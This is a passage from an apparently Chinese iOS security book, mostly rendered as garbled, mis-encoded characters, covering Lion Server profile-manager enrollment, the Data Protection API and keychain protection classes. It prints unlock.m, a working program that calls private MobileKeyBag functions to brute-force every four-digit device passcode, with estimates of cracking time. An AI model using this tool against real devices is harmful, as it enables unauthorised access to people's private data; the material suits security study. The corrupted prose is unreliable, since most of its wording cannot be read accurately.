̾˝ඇ˓᝹ܫǋ᝹ܫᏅጷǋၸਖ਼੊ၸਖ਼ᏅጷѸत֖ክူ᝹ܫ᝹Ꮅǌ 

 

�21-2ڎ ଠᤗ஠͇ክူ٧࠭ᓇ 

Serverःၸርࣿ˖ᄉଠᤗ஠͇ክူ٧ᦠᎵ᭦౛Ժ̾ᝧ΍ၸᏧᤤસ˝ளซбᄉၸਖ਼֖᝹ܫԦᤞ

᳭ᝢᄉᦠᎵଠᤗ஠͇ǌ᳭ᝢৰхʽὋᤇ௦Everyoneଠᤗ஠͇ᄉ᝹Ꮅǌ᜵᝺᫇ឞଠᤗ஠͇ὋឯڙΞ

᣷ಜ˖ཁѣGroupsࣲᤤસEveryoneᏅጷǌݟ౦;ཁѣᦠᎵ᭦౛˖ᄉEdit૊ᨍὋࡂԺ̾ᎃᣣᄰःᄉ

ᦠᎵଠᤗ஠͇ǌ 
ࠃ22ᄉႌ᭦ὋॡϷiPhoneᦠᎵ-2ڎᎃᣣᦠᎵଠᤗ஠͇ௐὋԺ̾ᄹҁዜͪ˖ଠᤗ஠͇ክူ٧ڙ

ၸࢹХᄉႌ᭦ǌᤇ෤̣˥݈ݝযᄉὋځ˝̃Ꮷᦏ௦ၸ౎ѸतᦠᎵଠᤗ஠͇ᄉǌʿ᣾Ὃଠᤗ஠͇

ክူ٧థʶ˓௙௬ᄉʿՎὋ߱࠱ᦠᎵଠᤗ஠͇థ஌ᣑᕲѫ੆˿ʻዜὋԀMac OS X֖iOSǋiOSὋ
̾ԢMac OS XὋځ˝ଠᤗ஠͇ክူ٧ᤆԺ̾ၸ౎˝ᤁᛠMac OS X LionᄉԻय఺ˀቷ᝭ఴክူ

᝹Ꮅǌ 
ˀ΍ၸiPhoneᦠᎵःၸࢹХѸतᦠᎵଠᤗ஠͇ᄉ᣾ርᄰՎὋੇ͂ःឞ˝ଠᤗ஠͇ᣤЙଠᤗζ

োὋࣲࠪឞᦠᎵଠᤗ஠͇ʹௐ὇̾Ԣ௦ՠὈԺᜁሧᬓᤈᛠᦠᎵǌ 
23੝ᇧᄉႌ᭦ǌ-2ڎݟలѸतPasscodeథ஌ᣑᕲὋ;͗ᄹҁ࠺౦ݟΞ᭦౛˖ᤤસPasscodeǌࢺڙ

᜵ѸतឞᦠᎵథ஌ᣑᕲὋឯཁѣConfiguration὇ᦠᎵὈ૊ᨍǌ 
ᤇ˝ځ2Ὀǌ-2ڎᆉ᝹Ꮅ௦ᄰՎᄉ὇ԟ᜸ࠚХ˖ᄉࢹၸࠃᆉ᝹ᎵˀiPhoneᦠᎵࠚ24੝ᇧᄉ-2ڎ

ˏሗःၸርࣿᦏၸ̅ѸतᄰՎಪयᄉᦠᎵଠᤗ஠͇ǌ 
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�22-2ڎ EveryoneᦠᎵଠᤗ஠͇ᄉ᝹Ꮅ 

 

�23-2ڎ ѸतPasscodeᦠᎵథ஌ᣑᕲ 

᜵߸੆ᦠᎵὋឯཁѣOK૊ᨍὋཨՐཁѣConfiguration᭦౛˖ᄉSave૊ᨍγߚ੝ϡᄉνஇǌ

ఝள᣾ᄉଠᤗ஠͇଍ᤞፋᥦ̎࠱νஇ͗ߚʼ߶ᜈ᣾ᤇ˓ଠᤗ஠͇Ὃᥦ˥γܫ᝹̎౼ڙፂࣂ౦ݟ

᝹ܫǌ 
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�24-2ڎ  ᆉᄉ᜵යᤈᛠᦠᎵࠚࠪ

 䆒໛ݠ⊼ .3
ဗࣂࠑܷڙፂၸଠᤗ஠͇ክူ٧Ѹत˿ᦠᎵଠᤗ஠͇Ὃଋᅋࡂᭉ᜵ซбःၸឞଠᤗ஠͇ᄉ᝹

 Ժ̾ᤋଋҁᤁᛠଠᤗ஠͇ክူ٧ᄉనҫ٧ǌܫᄉiOS᝹ࣁǌᯪЎὋੇ͂᜵ᆷγᒬ˿ܫ
ಜ˖ᣤЙଠᤗ஠͇ክူ٧My Devicesᮅ᭦ᄉڦڠMobileSafariᄉڙ᜵ࠑ25੝ᇧὋܷ-2ڎݟ

URLǌࠪ̅ኤӬᄉᦠᎵᏪᝒὋᤇʶᮅ᭦ͮ̅https://<server>/mydevicesǌᏪڙၶ̖ᦉᎷ˖ὋܷࠑԺ

̾᤯᣾ႂߔᥪ͇੊ᆀζૈ࠱Փଠᤗ஠͇ክူ٧ᄉURLԦᤞፋၸਖ਼ǌ 

 

�25-2ڎ  Mobile Safari˖ᤋଋҁଠᤗ஠͇ክူ٧నҫ٧ڙ
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ᄉڙߚፂࣂ˖26੝ᇧὈὋੇ͂ःឞ΍ၸOpen Directory-2ڎݟଠᤗ஠͇ክူ٧ᄉᄅेᮅ᭦὇ڙ

ၸਖ਼᠌ਖ਼ᄅेǌ 

 

�26-2ڎ ଠᤗ஠͇ክူ٧ᄅेᮅ᭦ 

ଠᤗ஠ڙᤆలܫ౦੝΍ၸᄉ᝹ݟ27੝ᇧǌ-2ڎݟᑞᄹҁMy Devicesᮅ᭦Ὃࡂ;ᄅे˧ՐὋڙ

͇ክူ٧˖ซбὋ;͗ࡂᄹҁEnroll૊ᨍǌʿ ᣾Ὃܷ ᜈζ͉ଠᤗ஠߶ᯪЎᭉ᜵˝నҫ٧ࠑ ὇͇Trust 
ProfileὈὋᤇಧ੥ᑞᰍ᝼ឞซбଠᤗ஠͇ᄉኣՏǌ 

 

�27-2ڎ My Devicesᮅ᭦੔ڎ 
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ᯪЎःឞ߶ᜈࠑ28Ὀǌܷ-2ڎᄹҁԺၸଠᤗ஠͇ᄉѴᛪ὇᜸͗ࡂ;౦ᝎѣProfilesᤤᮉӴὋݟ

ζ͉ଠᤗ஠͇Ὃځ˝߱Ӊդ˿˝Ф̴ଠᤗ஠͇ኣՏ੝ᭉᄉ᝼˹ǌ᜵߶ᜈឞଠᤗ஠͇Ὃឯᝎѣឞζ

͉ଠᤗ஠͇ՏሥԾΞᄉInstall૊ᨍǌ 

 

�28-2ڎ My Devicesᮅ᭦˖ᄉProfilesѴᛪ 

29੝ᇧᄉᆷᝢႌ᭦ǌ᜵˿ᝌఝܲˀឞଠᤗ஠͇థ-2ڎݟᄹҁ͗ࡂ;ᝎѣInstall૊ᨍ˧ՐὋڙ

СᄉζোὋឯᝎѣMore Detailsǌ᜵߶ᜈឞଠᤗ஠͇ᄉពὋឯᝎѣInstall૊ᨍǌ 

 

�29-2ڎ ᆷᝢ߶ᜈζ͉ଠᤗ஠͇ᄉႌ᭦ 
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30੝ᇧᄉ᝜նႌ᭦ǌឞႌ᭦ଡᇧၸਖ਼Ὑ-2ڎݟʿᑞᰍ᝼ឞζ͉ଠᤗ஠͇Ὃ੝̾;͗ᄹҁ˝ځ

 νஇԩζ͉಩᝼˹ᄉѴᛪǌ࠱

 

�30-2ڎ ζ͉ଠᤗ஠͇᝜նႌ᭦ 

ဗڙὋݟ౦ᤄٿMy Devicesᮅ᭦ὋࣲᝎѣEnroll૊ᨍซбᒬࣁᄉ᝹ܫὋ;͗ࡂᄹҁ31-2ڎݟ
੝ᇧᄉႌ᭦ǌ፮ᓣᄉVerifiedಕংᛪᇧឞଠᤗ஠͇ᄉኣՏࣂፂ३ҁᰍ᝼Ὃ௦ԩζ͉ᄉǌᝎѣInstall
૊ᨍὋ߶ᜈՏ˝Device Enrollmentᄉଠᤗ஠͇Ὃᤇ࠱˝ឞ᝹ܫըၸᤉር᝹ܫክူǌ 

 

�31-2ڎ Device Enrollmentᆷᝢႌ᭦ 
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ଋᅋ;͗ᄹҁ32-2ڎݟ੝ᇧᄉ᝜նႌ᭦ǌซ਒Ὃ߱ ͗ଡᇧၸ̅᝹ܫክူᄉAPIቪཁᄉ߸ஞURLǌ 

 

�32-2ڎ Mobile Device Management᝜նႌ᭦ 

 33੝ᇧᄉႌ᭦ǌ-2ڎݟᜈ߸ឞଠᤗ஠͇ՐὋ;͗ᄹҁ߶ڙ

 

�33-2ڎ ଠᤗ஠͇߶ᜈ߸੆ 

᝼˹Ὃᤆ˓ג᝼˹ǋ˝߱ኣՏᄉ௦̎ג˿Ժ̾ᝎѣMore Detailsᄹᄹឞଠᤗ஠͇˖ᦏӉդࠑܷ
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Ժ̾˿ᝌఝܲˀ੝߶ᜈᄉDevice Managementଠᤗ஠͇థСᄉζোǌសጹζোႌ᭦34-2ڎݟ੝ᇧǌ 

 

�34-2ڎ Remote Managementសৰႌ᭦ 

ဗڙὋݟ౦ᤄٿଠᤗ஠͇ክူ٧˖ᄉMy Devicesᮅ᭦Ὃ;͗ᄹҁʼ᭦ѴѢ˿ѷѷซбᄉ᝹ܫὋ

 ᆉǌࠚᄉܫὋ੊ຌᬓឞ᝹ܫǋ୺ᬓឞ᝹߿35੝ᇧǌၸਖ਼Ժ̯̾ឞᮅ᭦ᤉርᩙ-2ڎݟ

 

�35-2ڎ ߸੆᝹ܫซб˧ՐᄉMy Devicesᮅ᭦ 
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2.3� ᇣ㒧 

͉ʹၸ̅ߚϱ੊᝺᫇͌ˉஏਕஜ૵ᄉiOS᝹ܫᦏॸᮋፂ᣾Ջ᤟ᄉᦠᎵὋ̾ΦЌѫγએᤇ̎ஜ

૵ǌᤇ̎ᦠᎵӉહ᝹ᎵुࠚᆉǋᒬҮᩙ֖߿Ф̴ˀ߶КᄰСᄉ᝹ᎵǌᙉཨԺ̾ၿITክူտ̝੣ᦠ

Ꮅඇ˓ၸਖ਼ᄉ᝹ܫὋͭᤇಧϡ௄᠟ௐ᠟ҦԠࠓ௛ѢᩱὋᏪᬶ˖ክူᤇ̎ᦠᎵܲݝࡂ˿ǌ 
ఴብ̭ፀ˿ˏሗᬶ˖ክူiOSᦠᎵᄉழयὙ΍ၸiPhoneᦠᎵࠃၸࢹХ֖΍ၸLion Serverᄉଠᤗ

஠͇ክူ٧ǌiPhoneᦠᎵࠃၸࢹХఝ˝ኤӬὋఝ௛ʼ੣ὋͭԵ᤟Ջክူ࠵᧙᝹ܫǌ᜵ክူܷ᧙᝹

ክူὈᝌфழ಴ఝழΦǌᬓ˿ᑞ߸੆ᄰܫὋLion Serverଠᤗ஠͇ክူ٧ᤇಧᄉMDM὇ሧҮ᝹ܫ

ՎᄉᦠᎵὋMDMᝌфழ಴ᄉክူҩᑞఝܲὋඊݟᤉርᩙ߿ǋ୺ᬓ᝹ܫ੊ຌᬓࠚᆉǌ 
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ˀ͛ፑᄉಷ᭦ࢹͺቢᄰඊὋሧҮ᝹ځܫ˝ఝࠓ௛᥋ܾ੊ᜁቊԨὋ෹᭚ஏਕஜ૵ᄉ᮲ᬖఝܷǌ

ᙉཨ͛ፑᄉࢹͺቢ֖ቷ᝭ఴԺ̾᤯᣾ࣛథըҮґᰍ᝼ᄉКᇒᄧҪࠚᤈᛠγએὋͭ ܷܲஜሧҮࣰԻ

ࣲʿᑞᤈᛠըҮґᰍ᝼ǌሧҮࣰԻଡΘᄉஜ૵ҪࠚҩᑞԵథڙ᝹ܫըҮՐ੥ᑞၶ஌ǌᏪᝎୖࡕ੊

ሧҮ᝹ܫ᪃ᄧஜ૵ᣤЙᄉࡌᬌব˶΍३ᣤЙ᫁ࠚᆉʿܹԺᛠǌᤇ̎ځገᦏ̽ሧҮ᝹ܫᄉஜ૵γએ

ఝХૌੌবǌ 

ఴብὋੇ͂ᝦ᝶iOS˖γએ᭡খஜ૵὇data-at-restὈᄉ˞᜵ଏஶὙData Protection APIǌᤇ᧖᜵

ᄉramdiskल࠭iOS̯ᏪࠪឞAPIᤈᛠ˦߿ᇧःၸधԦᏧ͗ঞಧ΍ၸឞAPIὋᤆ͗ឬ௙ঞಧѽၸᒬࡘ

ஈѣǌ;͗ᄹҁ4ͮᄉᩙࠚࡕᆉ᭣࣡ࠓ௛ᜁ࿮ᝌὋᏪ4ͮᩙࠚࡕᆉᜁ࿮ᝌՐὋiOS᝹ܫʼѽၸData 

Protection APIҪࠚᄉ੝థஜ૵ࡂᦏԺ̾ᜁᝌࠚ˿ǌ  

3.1� ᭄᥂ֱᡸ 

ᔰ౦МՂڙiOS 4˖लЙ˿Data Protection APIὋᏪ˄ឞAPIڙiOS 5˖̮ᜁ΍ၸǌData Protection 

APIᄉ᝹᝟ѹᛱ௦ᝧःၸधԦᏧᑞࡉԺᑞኤӬࠪڠ஠͇֖keychainᮉ˖ߚϱᄉஏਕၸਖ਼ஜ૵ஶ̾

ᡛܴᄉγએὋ̾᫸߱͂ڙၸਖ਼᝹ܫˎܾௐᜁ෹᭚ǌधԦ̠տ᜵ϡᄉࡂ௦ૈ௙keychain˖ᄉ̎ג஠

͇੊ᮉԺᑞӉդஏਕஜ૵Ὃࣲឬ௙ᤇ̎ஜ૵ڙʹௐʶ߿௦Ժ᝺᫇ᄉǌΒݟὋधԦᏧԺᑞ͗ૈᇧ౼

̎Ӊդஏਕஜ૵ᄉ஠͇੊keychainᮉԵథڙ᝹ܫᝌᩙՐ੥Ժ᝺᫇ǌᤇ௦ሗ࣡᜸ᄉৰ्Ὃځ˝ၸਖ਼

஠͇੊keychainᮉ঳௦Ժ᝺̎౼߿ᝌᩙǌ൤ܰὋधԦᏧ˶Ժᑞ͗ૈܫ᝹࠱᜵߿΍ၸःၸ˧ґʶڙ

᫇ᄉὋᤇಧʶ౎Ὃࡂኪڙ᝹߿ᩙܫௐᤇ̎஠͇˶௦ʿԩγએᄉǌڙःၸᄉຸ̼ᆉ˖ὋधԦᏧ͗ၸ

஠͇֖keychainᮉᄉγએኍጞ὇protection classὈᄉ࣡᧙౎ಕ᝭߱͂ǌʿՎγએኍጞᄉӜѾ˿˦߿

Ὃݟ௦ՠࠪ஠͇֖keychainᮉҪ̾γએὋ̾Ԣԩᄰःγએኍጞγએᄉஜ૵ʹௐԺၸ὇Β͂߱̅ڙ

঳௦Ժၸ੊Եథڙ᝹ܫᝌᩙՐԺၸὈǌ 

ʿՎᄉγએኍጞ௦᤯᣾ࠚᨄѫጞࠃဗᄉὋФ˖Չኍጞᄉࠚᨄีၶᒬᔩ࣯Ф̴ᄉࠚᨄ੊ஜ૵ǌ

ᆉǌඇʶԻࠚᨄ֖ၸਖ਼ᄉࠚᨄѫጞᄉ಩ᦉ௦UIDࠚឞڙᨄѫጞǌࠚ๗Ԣᄉ˖ࠚᇧ˿஠͇Ҫࡘ1-3ڎ

iOS᝹ܫᦏథˀ˧ࠪःᄉ׬ʶUIDࠚᨄὋᏪ˄ឞࠚᨄࢥЙڙ౛ᣑᄉҪࠚҪᤳ٧˖ǌࠚᨄఴᢵ௦௃

ก᤯᣾ᣃ͇᝺᫇ᄉὋʿ᣾Ҫᤳ٧Ժ̾΍ၸឞࠚᨄҪࠚ੊ᝌ߿ૈࠚᄉஜ૵ǌॆ᝹ܫᜁᝌᩙௐὋၸਖ਼

ᄉࠚᆉ͗ࡂၿνஇ᣾ᄉPBKDF2ኪกҪܲࠚ൒̾ၶ੆ࠚᆉࠚᨄǌឞࠚᆉࠚᨄ͗γڙߚЮߚ˖Ὃᄯ

ኃ �ብ
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ҁ᝹ܫв൒ᜁᩙ߿ǌUIDࠚᨄᤆᜁၸ̅Ҫࠚ౼᭡খߙᓫ˘Ὃ̯Ꮺၶ੆᝹ࠚܫᨄǌᤇʶ᝹ࠚܫᨄၸ

౎˝੝థᛪᇧˀ஠͇ᄰСᄉՉγએኍጞᄉኍጞࠚᨄҪࠚǌ౼̎ኍጞࠚᨄᄉҪࠚ˶͗ၸҁࠚᆉࠚ

ᨄὋ̾ᆷγԵథڙ᝹ܫᝌᩙՐ੥Ժ᝺᫇ᤇ̎ኍጞࠚᨄǌ 

 

�1-3ڎ ஜ૵γએࠚᨄѫጞ 

SogetiМՂᄉᆐቂ̠տសڠࠃ᝭े˿iOSஜ૵γએఴ᠎Ὃࣲ ݺ2011ࣱ5తᄉHack in the Boxᬀڙ

லྱ˜ܷ͗ʼࡘᇧ˿ᤇ̎Юࠓ὇http://code.google.com/p/iphone-dataprotectionὈǌ᜵ఝຆЙڠ˿ᝌ

iOS˖ஜ૵γએᄉࠃဗழयὋឯԟᏥᤇ̎Юࠓǌ 

Data Protection API  

థ˿Data Protection APIὋःၸΦԺ̾᤯᣾͛ᤫள߿˦ᄉγએኍጞಕংፋڙߚࣂᄉAPIὋܥ௙

஠͇ጆፑ˖ᄉ஠͇֖keychain˖ᄉᮉʹௐឞᜁᝌࠚǌγએኍጞૈ߿ऄࡎጆፑʹௐԺ̾ᒬҮᝌૈࠚ

 ᄉ஠͇੊keychainᮉǌ߿

᜵˝஠͇ըၸஜ૵γએὋःၸॸᮋ΍ၸNSFileManagerዜ˝NSFileProtectionKey࡚ব

᝹Ꮅʶ˓Ϙǌᛪ3-1ଠᤗ˿ஂ૆ᄉϘ̾Ԣ߱͂ᄉդ˦ǌ᳭ᝢৰхʽὋ੝థ஠͇ᄉγએኍጞᦏ௦

NSFileProtectionNoneὋᤇᛪᇧ͉ʹௐϊᦏԺ̾ឳзᤇ̎஠͇ǌ 
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㸼3-1� ᭛ӊֱᡸㄝ㑻 

ֱᡸㄝ㑻 ᦣ� � 䗄 
NSFileProtectionComplete ஠͇ԩҁγએὋᏪ˄Եథڙ᝹ܫలᜁᩙ߿ௐ੥Ժ᝺᫇ 

NSFileProtectionComplete 
UnlessOpen 

஠͇ԩҁγએὋᏪ˄Եథڙ᝹ܫలᜁᩙ߿ௐ੥Ժ੩धὋʿ᣾ԀΦڙ᝹ܫᜁ

 ፂ੩धᄉ஠͇ᤆ௦Ժ̾ፘ፝΍ၸ֖зЙࣂௐὋ߿ᩙ

NSFileProtectionCompleteUntil 
FirstUserAuthentication 

஠͇ԩҁγએὋᄯҁ᝹ܫըҮ˄ၸਖ਼ኃʶ൒ᣤЙࠚᆉ 

NSFileProtectionNone ஠͇లԩγએὋᬣௐԺ̾᝺᫇ 

̾ʽ̼ᆉࡘᇧ˿ࣂ˝ʹݟፂڙߚᄉ஠͇᝹ᎵNSFileProtectionKeyǌᤇ᧖ϛ᝹஠͇ᡸफ़ߚ

உڙԪ᧙filePath˖ǌ 

 ॺNSProtectionCompleteຌႠظ //

NSDictionary *protectionComplete = 
[NSDictionary dictionaryWithObject:NSFileProtectionComplete 
                            forKey:NSFileProtectionKey]; 
 
// ྺ<filePath>ڦت࿔ॲยዃຌႠ 

[[[NSFileManager] defaultManager] setAttributes:protectionComplete 
                                   ofItemAtPath:filePath error:nil]; 

᤯᣾˝SecItemAdd੊SecItemUpdateѥஜૈ߿γએኍጞὋੇ͂ࡂᑞܴ̾ዜͪᄉழय˝

keychain˖ᄉᮉૈ߿γએኍጞ˿ǌᬓ൤˧ܰὋःၸᤆԺ̾ૈ߿keychainᮉᑞՠᣀሧҁФ̴᝹ܫǌ

ᨄࠚᨄ३Ѣᄉࠚܫ΍ၸၿ᝹͗ࡂ౦΍ၸ˿౼ሗ-ThisDeviceOnlyγએኍጞὋᄰःᄉkeychainᮉݟ

ҪࠚǌᤇಧࡂᆷγԵథѸतឞkeychainᮉᄉ᝹ܫ੥ᑞࠪФᝌࠚǌ᳭ᝢৰхʽὋ੝థkeychainᮉڙ

ѸतௐᦏХథkSecAttrAccessibleAlwaysγએኍጞὋᛪᇧ߱͂ᬣௐԺ̾ᜁᝌࣲࠚᣀሧҁФ̴

᝹ܫǌᛪ3-2ࡘᇧ˿Ժၸᄉkeychainᮉγએኍጞǌ 

㸼3-2� keychain乍ֱᡸㄝ㑻 

ֱᡸㄝ㑻 ᦣ� � 䗄 
kSecAttrAccessible 
WhenUnlocked 

keychainᮉԩҁγએὋԵథڙ᝹ܫలᜁᩙ߿ௐ੥Ժ᝺᫇ 

kSecAttrAccessible 
AfterFirstUnlock 

keychainᮉԩҁγએὋᄯҁ᝹ܫըҮࣲ˄ၸਖ਼ኃʶ൒ᣤЙࠚᆉ 

kSecAttrAccessible 
Always 

keychainᮉలԩγએὋ͉ʹௐϊᦏԺ᝺᫇ 

kSecAttrAccessible 
WhenUnlocked 
ThisDeviceOnly 

keychainᮉԩҁγએὋԵథڙ᝹ܫలᩙ߿ௐ੥Ժ᝺᫇ὋᏪ˄ʿԺ̾ᣀሧҁФ̴᝹ܫ 

kSecAttrAccessible 
AfterFirstUnlock 
ThisDeviceOnly 

keychainᮉԩҁγએὋᄯҁ᝹ܫըҮࣲ˄ၸਖ਼ኃʶ൒ᣤЙࠚᆉὋᏪ˄ʿᑞᣀሧҁԲܰ

ᄉ᝹ܫ 

kSecAttrAccessible 
AlwaysThisDeviceOnly 

keychainᮉలԩγએὋ͉ʹௐϊᦏԺ᝺᫇ὋͭʿᑞᣀሧҁԲܰᄉ᝹ܫ 

᜵˝keychain˖ᄉᮉըၸஜ૵γએὋੇ͂ᭉ᜵᝹ᎵkSecAttrAccessible࡚বǌ̾ʽ̼ᆉ࠱

ឞ࡚ব᝹Ꮅ˝kSecAttrAccessibleWhenUnlockedǌ 
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NSMutableDictionary *query = 
[NSMutableDictionary dictionaryWithObjectsAndKeys: 
 (id)kSecClassGenericPassword, (id)kSecClass, 
 @"MyItem", (id)kSecAttrGeneric, 
 username, (id)kSecAttrAccount, 
 password, (id)kSecValueData, 
 [[NSBundle mainBundle] bundleIdentifier], (id)kSecAttrService, 
 @"", (id)kSecAttrLabel, 
 @"", (id)kSecAttrDescription, 
 (id)kSecAttrAccessibleWhenUnlocked, (id)kSecAttrAccessible, nil]; 
 
OSStatus result = SecItemAdd((CFDictionaryRef)query, NULL); 

3.2� ᇍ᭄᥂ֱᡸⱘᬏߏ 

˝˿˿ᝌஜ૵γએᄉࡌᬌব֖ःឞ᧓Ԩ̎גᛩஐଏஶὋੇ ͂Ў౎ᄹᄹၸਖ਼ࠚᆉ᜵థܲᰳᄉु

ऎὋ̾ԢஈѣᏧူ᝶ʼᝮ௦ݟʹ̯᥋ܾ੊ᜁᄦᄉ᝹ܫʼুܬஜ૵ᄉǌ̯˖Ժ̾ᄹѢὋःၸधԦᏧ

Ќѫ΍ၸData Protection APIγએஏਕζোὋ̾Ԣ͌ˉु҃᜵යߚஉ੊ူܪஏਕζোᄉiOS᝹ܫ΍

ၸुࠚᆉὋ௦Ӡѫ᧗᜵ᄉǌ  

3.2.1� ᇍ⫼᠋ᆚⷕⱘᬏߏ 

ᨄǌࠚᆉࠚᆉၶ੆ࠚґ᭦੝ଠᤗᄉὋੇ͂Ժ̾᤯᣾ಕэPBKDF2ኪกᄉνஇྟѽၸၸਖ਼ݟൣ

SHA-1੊MD5ᤇಧݟὋᏪʿ௦ឰࠚᨄᄉAESҪࠚiOS˖Ὃᤇሗνஇ᣾ᄉPBKDF2ኪก΍ၸࣛUIDڙ

ᄉಕэҪࠚ஘Ѵѥஜǌځ˝ᣃ͇ʿᑞᄯଋ᝺᫇UIDࠚᨄὋ੝̾ᤇᆷγ˿ࠚᆉࠚᨄԵᑞၿ᝹ܫఴᢵ

३ѢὋᤇಧࡂԺ̾᫸ൢஈѣᏧሎጲᆠᝌࠚᆉὋᥗБ̴͂Үၸ੣ܿᄉКᦉ᝟ኪᠪຸᆠᝌࠚᆉǌᤇಧ

ϡ˶ԺᆷγࠚᆉࠚᨄࠪඇԻ᝹ܫᏪᝒᦏ௦׬ʶᄉὋԀΦʿՎ᝹ܫᄉၸਖ਼΍ၸ˿ᄰՎࠚᆉǌ 

ᬓ൤˧ܰὋᤇሗPBKDF2ኪกᄉᤕ̼൒ஜ௦ԺԪᄉὋᏪ˄Ԩф̅iOS᝹ܫᄉCPUᤳऎǌᤇಧ

ᆉௐʿ͗ਕ᜿థढᤌὋͭࠚᣤЙڙԺ̾ᆷγᤇ˓ᤕ̼൒ஜᡛܴͯὋ΍३ၸਖ਼ࡂ͂ੇ ᤇ˓ᤕ̼൒ஜ

Ԡःឞ௦ᡛܴᰳᄉὋ̯ᏪᝧᙹҦᆠᝌ੊ߙЦ࿮ᝌࠚᆉᄉஈѣᏧူܪᤳऎ௙௬ђਤǌ 

಩૵ʿՎᄉᦠᎵ᝹ᎵὋڙᣤЙᩱឧࠚᆉՐὋiOS᝹ܫᄉၸਖ਼ႌ᭦ԺᑞѢဗᤩຑܘҪᄉढᤌǌ

ᤋ፝ᄉᩱឧ࿮฽͗ᝧᤇ˓ढᤌյૈஜጞ᫁ܘǌᬓ൤˧ܰὋੇ͂Ժ̾࠱᝹ܫᦠᎵ੆Ὑڙᤋ፝ᣤЙᩱ

ឧࠚᆉʶ߿൒ஜՐ୺ᬓ᝹ܫʼᄉ੝థஜ૵ǌʿ᣾Ὃᤇ̎᫸७ଏஶԵ௦᤯᣾iOSၸਖ਼ႌ᭦ஶᛠᄉǌ

ᄉࡎХ᤯᣾ఝऄࢹԺᑞᒬᛠᎃзࡂᄉᣃ͇Ὃ̴͂˦߿ᡔ࿜ࣲᤁᛠᒬܫ౦ஈѣᏧԺ̾˝ឞiOS᝹ݟ

ႌ᭦࿮ᝌࠚᆉǌΒݟὋሒథᄉMobileKeyBagಳ౵ࡂӉդѽၸፋࠚ߿ᆉ˘ᝌᩙ᝹ܫ὇MKBUnlock- 

DeviceὈ̾Ԣᆷ߿᝹ॆܫґ௦ՠ߿ᩙ̅ܪ࿃খ὇MKBGetDeviceLockStateὈᄉѥஜǌᤇ̎ѥ

ஜ௦᤯ՓЮನ˖IOKit᯵ҮርࣿᄉኤӬґቪὋԺ̾ᝧ̠ᎃзᑞࣂڙᡔ࿜iOS᝹ܫʼᤁᛠᄉኤӬࠚᆉ

࿮ᝌࢹХǌ̼ᆉຌӬ3-1ࡘᇧ˿ᤇሗࢹХᄉʶ˓ᇧΒǌ˝˿ᝧឞርࣿൣ࣡ࢹͺὋੇ͂ॸᮋᎃដ߱

ࣲፋ߿ʶ˓ྱాBLOB὇ݟ౦ၸఴ˹ᄉຸ̼ᆉӉѸतርࣿὋᤇʶ᣾ር࠱ᒬҮ߸੆Ὀǌݟ౦ᤁᛠᎃដ

ᆉὋࣲࠚߙஜͮٽᤕ̼߸੝థԺᑞᄉ͗ࡂХௐ΍ၸ˿-BᤤᮉὋឞርࣿࢹ ᆉᝌᩙ᝹ࠚណ΍ၸᤇ̎࠼

 ᆉǌࠚጻൢࣲ੩ӾѢ࿮ᝌᄉ͗ࡂὋឞርࣿܫᆉ੆ҩᝌᩙ᝹ࠚ˓౼౦థݟǌܫ
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ҷⷕ⏙ऩ3-1� unlock.m 

#import <stdio.h> 
#import <stdlib.h> 
#import <unistd.h> 
 
#import <Foundation/Foundation.h> 
 
extern int MKBUnlockDevice(NSData* passcode, int flags); 
extern int MKBGetDeviceLockState(); 
extern int MKBDeviceUnlockedSinceBoot(); 
 
void usage(char* argv0) 
{ 
    fprintf(stderr, "usage: %s [ -B | -p <passcode> ]\n", argv0); 
    exit(EXIT_FAILURE); 
} 
 
int try_unlock(const char* passcode) 
{ 
    int ret; 
 
    NSString* nssPasscode = [[NSString alloc] initWithCString:passcode]; 
    NSData* nsdPasscode = [nssPasscode dataUsingEncoding:NSUTF8StringEncoding]; 
 
    ret = MKBUnlockDevice(nsdPasscode, 0); 
    return ret; 
} 
 
void try_passcode(const char* passcode) 
{ 
   int ret; 
 
    NSString* nssPasscode = [[NSString alloc] initWithCString:passcode]; 
    NSData* nsdPasscode = [nssPasscode dataUsingEncoding:NSUTF8StringEncoding]; 
 
    ret = MKBUnlockDevice(nsdPasscode, 0); 
    printf("MKBUnlockDevice returned %d\n", ret); 
 
    ret = MKBGetDeviceLockState(); 
    printf("MKBGetDeviceLockState returned %d\n", ret); 
} 
 
void get_state() 
{ 
    int ret; 
 
    ret = MKBDeviceUnlockedSinceBoot(); 
    printf("MKBDeviceUnlockedSinceBoot returned %d\n", ret); 
 
    ret = MKBGetDeviceLockState(); 
    printf("MKBGetDeviceLockState returned %d\n", ret); 
} 
 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



42� � ኃ 3 ብ� Ҫ� �  ࠚ

 

int main(int argc, char* argv[]) 
{ 
    char c; 
    int i, mode = 0; 
    char* passcode = NULL; 
    int ret; 
 
    while ((c = getopt(argc, argv, "p:B")) != EOF) { 
        switch (c) { 
        case 'p':     // ׈๬ڦۨߴ௢ஓ 

            mode = 1; 
            passcode = strdup(optarg); 
            break; 
 
        case 'B':     // ஡૰ఇ๕ 

            mode = 2; 
            break; 
 
        default: 
            usage(argv[0]); 
        } 
    } 
 
    NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; 
 
   switch (mode) { 
    case 0:    // ኻᆩᇀ၂๖ጒༀ 

        get_state(); 
        break; 
 
    case 1:    // ׈๬ڦۨߴ௢ஓ 

        get_state(); 
        try_passcode(passcode); 
        get_state(); 
        break; 
 
    case 2:    // ஡૰೦঴ຕጴ௢ஓ 

        get_state(); 
 
        for (i = 0; i < 10000; i++) { 
            char pc[5]; 
            sprintf(pc, "%.4d", i); 
 
            if (try_unlock(pc) == 0) { 
                printf("Success! PINCODE %s\n", pc); 
                break; 
            } 
        } 
 
         get_state(); 
 
         break; 
    } 
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    [pool release]; 
 
    return 0; 
} 

᤯᣾᝭ेඇ൒࿮฽੝ᔈᄉௐᫍὋੇ ͂Ժ̾᝟ኪ᝹ܫᄉᆠᝌညὋࣲ ѽၸ߱ᛥ᧙ܬఽऎՉऩᄉࠚ

ᆉᄉुऎǌࠪ̅iPhone 4౎ឬὋࠚᆉ࿮฽ညܷഏ௦ඇሙ9.18൒ǌᤇࡂ௦ឬὋڙణڭᄉৰхʽὋ࿮

ᝌʶ˓ͮٽஜߙᄉࠚᆉణܲԵᭉ᜵18ѫ᧾ǌiPhone 4ʼʿՎ᫁ऎ֖ܬఽऎᄉࠚᆉ੝ᭉᄉణ᫁࿮ᝌ

ௐᫍݟᛪ3-3੝ᇧǌþߙආˀஜߙÿʁ ጞᄉܬఽऎ௦ϛ᝹ࠚᆉԺ̾ၿஜߙߙቿ֖ܷ࠴зߙආߙቿౝ

